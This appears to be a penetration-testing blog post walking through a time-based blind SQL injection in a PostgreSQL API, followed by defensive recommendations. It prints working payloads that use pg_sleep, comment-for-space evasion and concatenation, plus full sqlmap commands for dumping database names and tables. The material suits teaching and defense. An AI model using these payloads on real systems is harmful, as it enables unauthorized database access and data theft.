The cybersecurity of web applications is a crucial issue in a world where digital data has become a major asset. Among the most subtle threats, “time-based blind SQL injection” vulnerabilities stand out for their ability to exfiltrate data without triggering obvious alerts. These attacks exploit database response times to reconstruct sensitive information, a technique that requires expertise and discretion. This article explores this type of attack in detail, based on a real case observed during an intrusion test.
How is Time-Based Blind SQL Injection different from classic SQL injection?
A blind SQL injection attack relies on the exploitation of SQL queries in vulnerable application parameters. Unlike a classic SQL injection, which directly displays results (such as errors or exfiltrated data), a “blind” attack relies on subtle cues, such as server response time.
In a “time-based” variant, an attacker inserts SQL commands capable of “pausing” the database to check whether a condition is true or false. This technique makes it possible to extract data character by character by modifying response times, without any visible interaction with the user.
Case study : A flaw in a PostgreSQL-based application
During a pentest on a web application, a vulnerability of this type was identified. Here’s how it was exploited.
1. Vulnerability detection
A test request was sent to an application API. An HTTP 200 (OK) response indicated a successful request. However, the addition of an apostrophe (‘) generated an HTTP 500 error, indicating a potential SQL injection flaw. The error disappeared when two apostrophes were added (”), confirming a possible vulnerability in user input management.
Classic search query in the ‘text’ parameter:
We add an apostrophe to our text, which generates an HTTP 500 error code:
We add a second apostrophe to see if the error disappears, and this is the case with an HTTP 200 OK response code:
2. Setting up time-based injection
To test whether a SQL command could influence response times, a query using PostgreSQL’s pg_sleep() function was sent. Result: the server took several seconds to respond, confirming the possibility of influencing response times (see bottom right of screenshot). To be able to perform a sleep, there are a number of special features to note:
- The database is PostgreSQL, so we use the “pg_sleep()” function.
- Spaces of any kind (“+”, “%20″…) are not accepted by the server, so we had to come up with another trick. A comment can be used instead: “/**/”.
- We used string concatenation to execute our query, via “||”.
https://<url>/api/v1/products?text=a'||((select/**/pg_sleep(10)))||'
3. Exploitation conditionnelle
Great, we were able to put the database to sleep! The next objective was to exfiltrate data according to conditions verified within SQL queries:
- If the result is “true”, then we want a response time of 3 seconds.
Payload :'||(SELECT/**/CASE/**/WHEN/**/(1=1)/**/THEN/**/pg_sleep(3)/**/END)||'
- If the result is “false”, then we want an immediate response.
Payload :'||(SELECT/**/CASE/**/WHEN/**/(1=0)/**/THEN/**/pg_sleep(3)/**/END)||'
Using this approach, characters can be extracted iteratively, checking the database elements one by one.
4. Automation with SQLMap
The SQLMap tool did not detect this flaw automatically. A custom payload was added to the configuration file to include specific features:
- No standard spaces, replaced by comments (/**/)
- String management with concatenation (||).
To do this, we add it to the SQLMAP file appropriate for “blind” injections: /usr/share/sqlmap/data/xml/payloads/time_blind.xml.
It’s important to note that we’ve removed the ” ‘ ” at the beginning and end of the payload. This is mandatory, otherwise SQLMAP will interpret them and encode all the characters in the payload, which we don’t want. Some SQLMAP-specific variables are also included, such as :
- [INFERENCE]to tell SQLMAP where to perform its advanced queries, if the payload alone is not sufficient
- [SLEEPTIME]using the SQLMAP default value, or specified in “–time-sec”.
- [RANDNUM]allowing SQLMAP to choose numerical values for its tests
Once the payload has been added. SQLMAP must be launched with the necessary parameters. Here’s the command used:
sqlmap.py --level=5 --risk=3 -u "https://<url>/api/v1/products?text=asdf*" -H "Cookie: XSRF-TOKEN= […snip…] " -H "Origin: https://<url>" -H "Referer: https:// <url>" --dbms=postgresql --random-agent --tamper=space2comment.py --skip-urlencode --technique=T --skip-waf --delay 0.2 --current-db --prefix="'" --suffix="'" --time-sec=3
Explanation:
- “–level=5 –risk=3”: Use the highest risk level. This isn’t a problem here, since we’re on a GET request and can’t alter the database through SQLMAP malfunctions.
- “-u” and “-H”: specify the URL and headers required. Use of “*” in the URL to tell SQLMAP where to inject the data.
- “–dbms=postgresql –random-agent”: Indicate the database used and specify the use of a random user-agent not containing the string “sqlmap”.
- “–tamper=space2comment.py –skip-urlencode –technique=T”: Instructs SQLMAP to replace spaces with “/**/”, not to encode characters and to use only its payloads from response time-based techniques.
- “–skip-waf –delay 0.2 –current-db –time-sec=3”: Indicate not to test if a WAF (Web Application Firewall) is in place, to send a maximum of 5 requests per second as there was a limit imposed by the server, and to attempt a 3-second sleep. Finally, if an injection is identified, try to recover the database name.
- “–prefix=”‘” –suffix=”‘” “: Adds the ” ‘ ” at the beginning and end of the payload, as we were unable to add them directly in the file.
The image above shows that SQLMAP has detected the injection thanks to our payload (“ a' ||(SELECT CASE WHEN (8238=8238) THEN PG_SLEEP(3) END)||'
“). The database name retrieved is “public”. Next, we retrieve the table names by adding the “–tables” parameter instead of “–current-db”:
sqlmap.py --level=5 --risk=3 -u "https://<url>/api/v1/products?text=asdf*" -H "Cookie: XSRF-TOKEN= […snip…] " -H "Origin: https://<url>" -H "Referer: https://<url>" --dbms=postgresql --random-agent --tamper=space2comment.py --skip-urlencode --technique=T --skip-waf --delay 0.2 --current-db --prefix="'" --suffix="'" --time-sec=3 --tables
We can therefore retrieve the entire database, and for obvious reasons of confidentiality, we don’t share its contents. Here are the next logical steps:
- Retrieve column names with : “-T [NomTable] –columns
- Retrieve data from the desired column: “-T [NomTable] -C [NomColonne] –dump”.
How can you protect yourself against this type of attack?
Blind SQL injection vulnerabilities can be avoided through a combination of good development practices and secure configurations.
1. Secure SQL query setup
- Use prepared queries: Prevent user input from being interpreted as SQL commands.
- Strict data validation: Limit accepted characters and input types.
2. Application-level protection
- Web Application Firewall (WAF): Block common attack patterns such as pg_sleep() or CASE.
- Input encoding: Convert special characters so that they are treated as raw data.
3. Regular safety tests
- Periodic Pentests: Identify vulnerabilities in user settings.
In conclusion, the “time-based blind SQL injection” vulnerability illustrates the extent to which a poorly secured application can become an entry point for determined attackers. This type of vulnerability, although discreet, can lead to major data loss. By applying good development practices, using advanced detection tools and raising team awareness, it is possible to considerably reduce these risks.
To go one step further, make sure your applications are regularly audited and tested against the latest threats: If you would like an in-depth analysis of your systems, please contact us!